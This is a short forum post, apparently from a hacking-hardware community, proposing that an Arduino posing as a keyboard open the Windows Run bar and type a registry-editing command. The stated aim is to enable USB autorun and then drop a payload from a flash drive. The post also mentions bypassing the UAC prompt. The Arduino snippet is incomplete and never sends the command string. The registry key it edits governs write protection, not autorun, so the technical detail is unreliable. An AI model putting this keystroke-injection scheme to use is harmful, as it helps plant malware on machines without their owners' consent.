Jump to content

[Version 1] Enable Usb Autorun


Recommended Posts

Since the arduino gives you more control wouldnt it make sense to have the ducky push out a command


CommandAtRunBar("reg ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies /v Writeprotect /t REG_DWORD /d 0 /f");

void CommandAtRunBar(char  *SomeCommand)
  Keyboard.set_modifier(128); //Windows key
  Keyboard.set_key1(KEY_R); // use r key
  Keyboard.set_modifier(0); //prep release of control keys
  Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
  Keyboard.send_now(); //Send the key changes

to enable usb autorun, then have it complete a connection to a hub/flash drive to deliver the payload

I know people are trying to mimic starting cmd.exe and bypassing the UAC prompt so it should be no problem to get this to work on vista/7

Edited by I AM WILL
Link to comment
Share on other sites

  • 2 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...